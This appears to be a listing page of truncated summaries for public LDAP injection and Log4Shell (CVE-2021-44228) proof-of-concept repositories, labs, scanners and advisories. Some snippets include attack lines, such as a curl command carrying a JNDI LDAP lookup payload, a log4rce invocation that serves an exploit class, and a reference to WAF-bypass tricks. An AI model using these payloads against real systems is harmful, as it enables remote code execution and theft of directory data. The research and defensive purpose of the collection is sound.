shiro

CVE-2026-49268 — Analysis and Remediation of an LDAP Injection Authentication Bypass Vulnerability | ---|--- Branch| 1.13-CVE-2026-49268 Author| Jinwoo Hwang https://JinwooHwang.com This branch 1.13-CVE-2026-49268 contains a comprehensive security remediation of an LDAP Injection Authentication...

securenvoy-cve-2024-37393

securenvoy-cve-2024-37393 RESPONSIBLE DISCLOSURE Vulnerability check script for CVE-2024-37393 SecurEnvoy MFA 9.4.513. Proof of concept code for checking LDAP injection. Fix Vulnerability fixed in SecurEnvoy MFA = 9.4.514. Links https://www.optistream.io/blogs/tech/securenvoy-cve-2024-37393 Autho...

CVE-2020-9495

CVE-2020-9495 PoC CVE-2020-9495 is medium severity LDAP injection vulnerability in Apache Archiva versions before 2.2.5. It allows an attacker to retrieve any LDAP attribute values of users that exist on the LDAP server. From the official Apache Archiva advisory: By providing special values to th...

Triage-CVE-2021-44228-Log4Shell-Log4j-

Triage: CVE-2021-44228 Log4Shell / Log4j For this lab, the goal was to triage another well-known real-world vulnerability, Log4Shell, one of the most widely exploited vulnerabilities in recent years due to how common the affected library was across enterprise software. Step 1: Open the CVE in NVD...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — Log4Shell PoC Lab DISCLAIMER This lab was created exclusively for educational and security research purposes. All traffic occurs within an isolated Docker network. Do not use this material on real systems or without explicit authorization. Misuse may be a crime. Use responsibly...

python-log4rce

Python Log4RCE An all-in-one pure Python3 PoC for CVE-2021-44228. Sample python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class...

log4shell

Log4Shell CVE-2021-44228 — Research Report A self-contained technical report on Log4Shell , the critical Remote Code Execution vulnerability in Apache Log4j 2 disclosed in December 2021. Covers root cause analysis, the full attack chain, detection/mitigation guidance, and an end-to-end exploit...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

CVE-2026-5050-Blind-LDAP-Injection-via-Unescaped-Filter

CVE-2026-5050 – Blind LDAP Injection via Unescaped Filter Program Code Python with ldap3 simulation ldapserversim.py - Simulated LDAP authentication server from flask import Flask, request, jsonify app = Flaskname Fake user database USERS = 'admin': 'password': 'secret', 'role': 'admin', 'user':...

jndi-ldap-test-server

jndi-ldap-test-server This is a minimalistic LDAP server that is meant for test vulnerability to JNDI+LDAP injection attacks in Java, especially CVE-2021-44228. How to test vulnerability to CVE-2021-44228 1. Download the test server binary for your platform you can find all binaries under Release...

log4j_github_repository

This work includes testing and improvement tools for CVE-2021-44228log4j The purpose of this study is to list useful tools that the blue and red team can use against the Log4j vulnerability. Github links bypass tools, scanning, detection mechanisms, etc. can be used for. Scanning or POC 🔴 Title:...

CVE-2020-1958

CVE-2020-1958 PoC CVE-2020-1958 is high severity LDAP injection vulnerability in Apache Druid 0.17.0. It allows an attacker to bypass LDAP search filter and to retrieve any LDAP attribute values of users that exist on the LDAP server. From official Apache Druid advisory: When LDAP authentication ...

vmware_vcenter_cve_2020_3952

Proof of concept for CVE-2020-3952 This is a short piece of code that exploits of CVE-2020-3952, which is described in detail at the Guardicore Labs post over here. This vulnerability was published by VMware in April 2020 with a maximum CVSS score of 10.0. It allows an attacker with a network...

CVE-2021-44228-Log4j-lookup-Rce

0x01、Environment Jdk7u21 any version works Affected versions: Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static...

log4j-docker-vaccine

Log4j Docker Vaccine A containerized way to run the log4j vaccine offered by Cyberreason https://github.com/Cybereason/Logout4Shell Make it go Clone this repo: git clone https://github.com/jeffbryner/log4j-docker-vaccine.git Edit the containers.env file to hold an accurate private or public IP/DN...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 Show your support - give a ⭐️ if you liked the content | SHARE on Twitter | Follow me on 🐱‍💻 ✂️ 🤬 LOG4J Java exploit - WAF and patches bypass tricks 📝 Description CVE-2021-44228 works on: log4j: 2.0 = Apache log4j = 2.14.1 Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+. Windows...

SecurEnvoy Two Factor Authentication - LDAP Injection

Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the...

CVE-2026-42568

CVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule Summary An LDAP injection vulnerability exists in org.yamcs.security.LdapAuthModule. The username parameter is inserted directly into LDAP search filters without RFC 4515 escaping, allowing authentication bypass. Field| Value ---|--- CVE|...

log4j2-exploit

Log4Shell CVE-2021-44228 proof of concept Requirement Java JDK/JRE 8 or later version curl exploitable Simple spring boot application that serves a login page with user and password. It logs the user name when POSTed to /. It is not required for the application to log any user provided input...

CVE-2021-29156

CVE-2021-29156 Proof-of-Concept c 2021 GuidePoint Security Charlton Trezevant [email protected] Background Today GuidePoint is pleased to release a functional Proof-of-Concept tool for CVE-2021-29156, an LDAP injection vulnerability in ForgeRock OpenAM v13.0.0. This vulnerability allows an...